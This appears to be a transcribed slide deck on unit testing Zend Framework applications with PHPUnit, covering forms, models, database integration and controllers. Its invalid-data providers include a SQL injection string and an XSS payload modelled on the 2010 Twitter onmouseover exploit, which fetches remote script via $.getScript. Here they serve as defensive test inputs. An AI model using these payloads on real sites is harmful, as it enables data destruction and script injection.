The document discusses unit testing Zend Framework applications. It begins by explaining the importance of testing and some common excuses for not testing. It then provides examples of setting up PHPUnit configuration and bootstrap files for testing Zend Framework applications. The document demonstrates how to write tests for Zend Forms and models, including testing with both valid and invalid data. It shows how to modify models to add validation filters and validators.
8. The cost of bugs
Bugs Project Costs
100
75
50
25
0
Start Milestone1 Milestone2 Milestone3
9. The cost of bugs
Bugs Project Costs Unittests
100
75
50
25
0
Start Milestone1 Milestone2 Milestone3
10. Maintainability
ā¢- during development
test will fail indicating bugs
ā¢- after sales support
testing if an issue is genuine
- ļ¬xing issues wonāt break code base
ā£ if they do, you need to ļ¬x it!
ā¢ long term projects
- refactoring made easy
13. Conļ¬dence
ā¢- for the developer
code works
ā¢- for the manager
project succeeds
ā¢- for sales / general management / share holders
making proļ¬t
ā¢- for the customer
paying for what they want
22. CommentForm
Name:
E-mail Address:
Website:
Comment:
Post
23. Start with the test
<?php
class Application_Form_CommentFormTest extends PHPUnit_Framework_TestCase
{
protected $_form;
protected function setUp()
{
$this->_form = new Application_Form_CommentForm();
parent::setUp();
}
protected function tearDown()
{
parent::tearDown();
$this->_form = null;
}
}
24. The good stuff
public function goodData()
{
return array (
array ('John Doe', 'john.doe@example.com',
'http://example.com', 'test comment'),
array ("Matthew Weier O'Phinney", 'matthew@zend.com',
'http://weierophinney.net', 'Doing an MWOP-Test'),
array ('D. Keith Casey, Jr.', 'Keith@CaseySoftware.com',
'http://caseysoftware.com', 'Doing a monkey dance'),
);
}
/**
* @dataProvider goodData
*/
public function testFormAcceptsValidData($name, $email, $web, $comment)
{
$data = array (
'name' => $name, 'mail' => $mail, 'web' => $web, 'comment' => $comment,
);
$this->assertTrue($this->_form->isValid($data));
}
25. The bad stuff
public function badData()
{
return array (
array ('','','',''),
array ("Robert'; DROP TABLES comments; --", '',
'http://xkcd.com/327/','Little Bobby Tables'),
array (str_repeat('x', 100000), '', '', ''),
array ('John Doe', 'jd@example.com',
"http://t.co/@"style="font-size:999999999999px;"onmouseover=
"$.getScript('http:u002fu002fis.gdu002ffl9A7')"/",
'exploit twitter 9/21/2010'),
);
}
/**
* @dataProvider badData
*/
public function testFormRejectsBadData($name, $email, $web, $comment)
{
$data = array (
'name' => $name, 'mail' => $mail, 'web' => $web, 'comment' => $comment,
);
$this->assertFalse($this->_form->isValid($data));
}
26. Create the form class
<?php
class Application_Form_CommentForm extends Zend_Form
{
public function init()
{
/* Form Elements & Other Definitions Here ... */
}
}
34. Testing business logic
ā¢- models contain logic
tied to your business
- tied to your storage
- tied to your resources
ā¢ no āone size ļ¬ts allā solution
35. Type: data containers
ā¢- contains structured data
populated through setters and getters
ā¢- perform logic tied to itās purpose
transforming data
- ļ¬ltering data
- validating data
ā¢ can convert into other data types
- arrays
- strings (JSON, serialized, xml, ā¦)
ā¢ are providers to other models
39. Create a simple model
<?php
class Application_Model_Comment
{
protected $_id = 0; protected $_fullName; protected $_emailAddress;
protected $_website; protected $_comment;
public function setId($id) { $this->_id = (int) $id; return $this; }
public function getId() { return $this->_id; }
public function setFullName($fullName) { $this->_fullName = (string) $fullName; return $this; }
public function getFullName() { return $this->_fullName; }
public function setEmailAddress($emailAddress) { $this->_emailAddress = (string) $emailAddress; return $this; }
public function getEmailAddress() { return $this->_emailAddress; }
public function setWebsite($website) { $this->_website = (string) $website; return $this; }
public function getWebsite() { return $this->_website; }
public function setComment($comment) { $this->_comment = (string) $comment; return $this; }
public function getComment() { return $this->_comment; }
public function populate($row) {
if (is_array($row)) {
$row = new ArrayObject($row, ArrayObject::ARRAY_AS_PROPS);
}
if (isset ($row->id)) $this->setId($row->id);
if (isset ($row->fullName)) $this->setFullName($row->fullName);
if (isset ($row->emailAddress)) $this->setEmailAddress($row->emailAddress);
if (isset ($row->website)) $this->setWebsite($row->website);
if (isset ($row->comment)) $this->setComment($row->comment);
}
public function toArray() {
return array (
'id' => $this->getId(),
'fullName' => $this->getFullName(),
'emailAddress' => $this->getEmailAddress(),
'website' => $this->getWebsite(),
'comment' => $this->getComment(),
);
}
}
42. Not all data from form!
ā¢- model can be populated from
users through the form
- data stored in the database
- a webservice (hosted by us or others)
ā¢ simply test it
- by using same test scenarioās from our form
43. The good stuff
public function goodData()
{
return array (
array ('John Doe', 'john.doe@example.com',
'http://example.com', 'test comment'),
array ("Matthew Weier O'Phinney", 'matthew@zend.com',
'http://weierophinney.net', 'Doing an MWOP-Test'),
array ('D. Keith Casey, Jr.', 'Keith@CaseySoftware.com',
'http://caseysoftware.com', 'Doing a monkey dance'),
);
}
/**
* @dataProvider goodData
*/
public function testModelAcceptsValidData($name, $mail, $web, $comment)
{
$data = array (
'fullName' => $name, 'emailAddress' => $mail, 'website' => $web, 'comment' => $comment,
);
try {
$this->_comment->populate($data);
} catch (Zend_Exception $e) {
$this->fail('Unexpected exception should not be triggered');
}
$data['id'] = 0;
$data['emailAddress'] = strtolower($data['emailAddress']);
$data['website'] = strtolower($data['website']);
$this->assertSame($this->_comment->toArray(), $data);
}
44. The bad stuff
public function badData()
{
return array (
array ('','','',''),
array ("Robert'; DROP TABLES comments; --", '', 'http://xkcd.com/327/','Little Bobby
Tables'),
array (str_repeat('x', 1000), '', '', ''),
array ('John Doe', 'jd@example.com', "http://t.co/@"style="font-size:999999999999px;
"onmouseover="$.getScript('http:u002fu002fis.gdu002ffl9A7')"/", 'exploit twitter
9/21/2010'),
);
}
/**
* @dataProvider badData
*/
public function testModelRejectsBadData($name, $mail, $web, $comment)
{
$data = array (
'fullName' => $name, 'emailAddress' => $mail, 'website' => $web, 'comment' => $comment,
);
try {
$this->_comment->populate($data);
} catch (Zend_Exception $e) {
return;
}
$this->fail('Expected exception should be triggered');
}
47. Modify setters: Id & name
public function setId($id)
{
$input = new Zend_Filter_Input($this->_filters, $this->_validators);
$input->setData(array ('id' => $id));
if (!$input->isValid('id')) {
throw new Zend_Exception('Invalid ID provided');
}
$this->_id = (int) $input->id;
return $this;
}
public function setFullName($fullName)
{
$input = new Zend_Filter_Input($this->_filters, $this->_validators);
$input->setData(array ('fullName' => $fullName));
if (!$input->isValid('fullName')) {
throw new Zend_Exception('Invalid fullName provided');
}
$this->_fullName = (string) $input->fullName;
return $this;
}
48. Email & website
public function setEmailAddress($emailAddress)
{
$input = new Zend_Filter_Input($this->_filters, $this->_validators);
$input->setData(array ('emailAddress' => $emailAddress));
if (!$input->isValid('emailAddress')) {
throw new Zend_Exception('Invalid emailAddress provided');
}
$this->_emailAddress = (string) $input->emailAddress;
return $this;
}
public function setWebsite($website)
{
$input = new Zend_Filter_Input($this->_filters, $this->_validators);
$input->setData(array ('website' => $website));
if (!$input->isValid('website')) {
throw new Zend_Exception('Invalid website provided');
}
$this->_website = (string) $input->website;
return $this;
}
49. and comment
public function setComment($comment)
{
$input = new Zend_Filter_Input($this->_filters, $this->_validators);
$input->setData(array ('comment' => $comment));
if (!$input->isValid('comment')) {
throw new Zend_Exception('Invalid comment provided');
}
$this->_comment = (string) $input->comment;
return $this;
}
52. Integration Testing
ā¢- database speciļ¬c functionality
triggers
- constraints
- stored procedures
- sharding/scalability
ā¢ data input/output
- correct encoding of data
- transactions execution and rollback
53. Points of concern
ā¢- beware of automated data types
auto increment sequence IDās
- default values like CURRENT_TIMESTAMP
ā¢ beware of time related issues
- timestamp vs. datetime
- UTC vs. local time
54. The domain Model
ā¢ Model object
ā¢ Mapper object
ā¢ Table gateway object
Read more about it
55. Change our test class
class Application_Model_CommentTest
extends PHPUnit_Framework_TestCase
becomes
class Application_Model_CommentTest
extends Zend_Test_PHPUnit_DatabaseTestCase
56. Setting DB Testing up
protected $_connectionMock;
public function getConnection()
{
if (null === $this->_dbMock) {
$this->bootstrap = new Zend_Application(
APPLICATION_ENV, APPLICATION_PATH . '/configs/application.ini');
$this->bootstrap->bootstrap('db');
$db = $this->bootstrap->getBootstrap()->getResource('db');
$this->_connectionMock = $this->createZendDbConnection(
$db, 'zftest'
);
return $this->_connectionMock;
}
}
public function getDataSet()
{
return $this->createFlatXmlDataSet(
realpath(APPLICATION_PATH . '/../tests/_files/initialDataSet.xml'));
}
57. initialDataSet.xml
<?xml version="1.0" encoding="UTF-8"?>
<dataset>
<comment
id="1"
fullName="B.A. Baracus"
emailAddress="ba@a-team.com"
website="http://www.a-team.com"
comment="I pitty the fool that doesn't test!"/>
<comment
id="2"
fullName="Martin Fowler"
emailAddress="fowler@acm.org"
website="http://martinfowler.com/"
comment="Models are not right or wrong; they are more or less useful."/>
</dataset>
58. Testing SELECT
public function testDatabaseCanBeRead()
{
$ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet(
$this->getConnection());
$ds->addTable('comment', 'SELECT * FROM `comment`');
$expected = $this->createFlatXMLDataSet(
APPLICATION_PATH . '/../tests/_files/selectDataSet.xml');
$this->assertDataSetsEqual($expected, $ds);
}
59. selectDataSet.xml
<?xml version="1.0" encoding="UTF-8"?>
<dataset>
<comment
id="1"
fullName="B.A. Baracus"
emailAddress="ba@a-team.com"
website="http://www.a-team.com"
comment="I pitty the fool that doesn't test!"/>
<comment
id="2"
fullName="Martin Fowler"
emailAddress="fowler@acm.org"
website="http://martinfowler.com/"
comment="Models are not right or wrong; they are more or less useful."/>
</dataset>
60. Testing UPDATE
public function testDatabaseCanBeUpdated()
{
$comment = new Application_Model_Comment();
$mapper = new Application_Model_CommentMapper();
$mapper->find(1, $comment);
$comment->setComment('I like you picking up the challenge!');
$mapper->save($comment);
$ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet(
$this->getConnection());
$ds->addTable('comment', 'SELECT * FROM `comment`');
$expected = $this->createFlatXMLDataSet(
APPLICATION_PATH . '/../tests/_files/updateDataSet.xml');
$this->assertDataSetsEqual($expected, $ds);
}
61. updateDataSet.xml
<?xml version="1.0" encoding="UTF-8"?>
<dataset>
<comment
id="1"
fullName="B.A. Baracus"
emailAddress="ba@a-team.com"
website="http://www.a-team.com"
comment="I like you picking up the challenge!"/>
<comment
id="2"
fullName="Martin Fowler"
emailAddress="fowler@acm.org"
website="http://martinfowler.com/"
comment="Models are not right or wrong; they are more or less useful."/>
</dataset>
62. Testing DELETE
public function testDatabaseCanDeleteAComment()
{
$comment = new Application_Model_Comment();
$mapper = new Application_Model_CommentMapper();
$mapper->find(1, $comment)
->delete($comment);
$ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet(
$this->getConnection());
$ds->addTable('comment', 'SELECT * FROM `comment`');
$expected = $this->createFlatXMLDataSet(
APPLICATION_PATH . '/../tests/_files/deleteDataSet.xml');
$this->assertDataSetsEqual($expected, $ds);
}
64. Testing INSERT
public function testDatabaseCanAddAComment()
{
$comment = new Application_Model_Comment();
$comment->setFullName('Michelangelo van Dam')
->setEmailAddress('dragonbe@gmail.com')
->setWebsite('http://www.dragonbe.com')
->setComment('Unit Testing, It is so addictive!!!');
$mapper = new Application_Model_CommentMapper();
$mapper->save($comment);
$ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet(
$this->getConnection());
$ds->addTable('comment', 'SELECT * FROM `comment`');
$expected = $this->createFlatXMLDataSet(
APPLICATION_PATH . '/../tests/_files/addDataSet.xml');
$this->assertDataSetsEqual($expected, $ds);
}
65. insertDataSet.xml
<?xml version="1.0" encoding="UTF-8"?>
<dataset>
<comment
id="1"
fullName="B.A. Baracus"
emailAddress="ba@a-team.com"
website="http://www.a-team.com"
comment="I pitty the fool that doesn't test!"/>
<comment
id="2"
fullName="Martin Fowler"
emailAddress="fowler@acm.org"
website="http://martinfowler.com/"
comment="Models are not right or wrong; they are more or less useful."/>
<comment
id="3"
fullName="Michelangelo van Dam"
emailAddress="dragonbe@gmail.com"
website="http://www.dragonbe.com"
comment="Unit Testing, It is so addictive!!!"/>
</dataset>
69. Testing INSERT w/ ļ¬lter
public function testDatabaseCanAddAComment()
{
$comment = new Application_Model_Comment();
$comment->setFullName('Michelangelo van Dam')
->setEmailAddress('dragonbe@gmail.com')
->setWebsite('http://www.dragonbe.com')
->setComment('Unit Testing, It is so addictive!!!');
$mapper = new Application_Model_CommentMapper();
$mapper->save($comment);
$ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet(
$this->getConnection());
$ds->addTable('comment', 'SELECT * FROM `comment`');
$filteredDs = new PHPUnit_Extensions_Database_DataSet_DataSetFilter(
$ds, array ('comment' => array ('id')));
$expected = $this->createFlatXMLDataSet(
APPLICATION_PATH . '/../tests/_files/addDataSet.xml');
$this->assertDataSetsEqual($expected, $filteredDs);
}
70. insertDataSet.xml
<?xml version="1.0" encoding="UTF-8"?>
<dataset>
<comment
fullName="B.A. Baracus"
emailAddress="ba@a-team.com"
website="http://www.a-team.com"
comment="I pitty the fool that doesn't test!"/>
<comment
fullName="Martin Fowler"
emailAddress="fowler@acm.org"
website="http://martinfowler.com/"
comment="Models are not right or wrong; they are more or less useful."/>
<comment
fullName="Michelangelo van Dam"
emailAddress="dragonbe@gmail.com"
website="http://www.dragonbe.com"
comment="Unit Testing, It is so addictive!!!"/>
</dataset>
73. Web services remarks
ā¢- you need to comply with an API
that will be your reference
ā¢- you cannot always make a test-call
paid services per call
- test environment is āofļ¬ineā
- network related issues
91. Setting up ControllerTest
<?php
class IndexControllerTest extends Zend_Test_PHPUnit_ControllerTestCase
{
public function setUp()
{
$this->bootstrap = new Zend_Application(
APPLICATION_ENV, APPLICATION_PATH . '/configs/application.ini');
parent::setUp();
}
}
92. Testing if form is on page
public function testIndexAction()
{
$params = array(
'action' => 'index',
'controller' => 'index',
'module' => 'default'
);
$url = $this->url($this->urlizeOptions($params));
$this->dispatch($url);
// assertions
$this->assertModule($params['module']);
$this->assertController($params['controller']);
$this->assertAction($params['action']);
$this->assertQueryContentContains(
'h1#pageTitle', 'Please leave a comment');
$this->assertQueryCount('form#commentForm', 1);
}
93. Test processing
public function testProcessAction()
{
$testData = array (
'name' => 'testUser',
'mail' => 'test@example.com',
'web' => 'http://www.example.com',
'comment' => 'This is a test comment',
);
$params = array('action' => 'process', 'controller' => 'index', 'module' => 'default');
$url = $this->url($this->urlizeOptions($params));
$this->request->setMethod('post');
$this->request->setPost($testData);
$this->dispatch($url);
// assertions
$this->assertModule($params['module']);
$this->assertController($params['controller']);
$this->assertAction($params['action']);
$this->assertResponseCode(302);
$this->assertRedirectTo('/index/success');
$this->resetRequest();
$this->resetResponse();
$this->dispatch('/index/success');
$this->assertQueryContentContains('span#fullName', $testData['name']);
}
94. REMARK
ā¢- data providers can be used
to test valid data
- to test invalid data
ā¢ but we know itās taken care of our model
- just checking for error messages in form
95. Test if we hit home
public function testSuccessAction()
{
$params = array(
'action' => 'success',
'controller' => 'index',
'module' => 'default'
);
$url = $this->url($this->urlizeOptions($params));
$this->dispatch($url);
// assertions
$this->assertModule($params['module']);
$this->assertController($params['controller']);
$this->assertAction($params['action']);
$this->assertRedirectTo('/');
}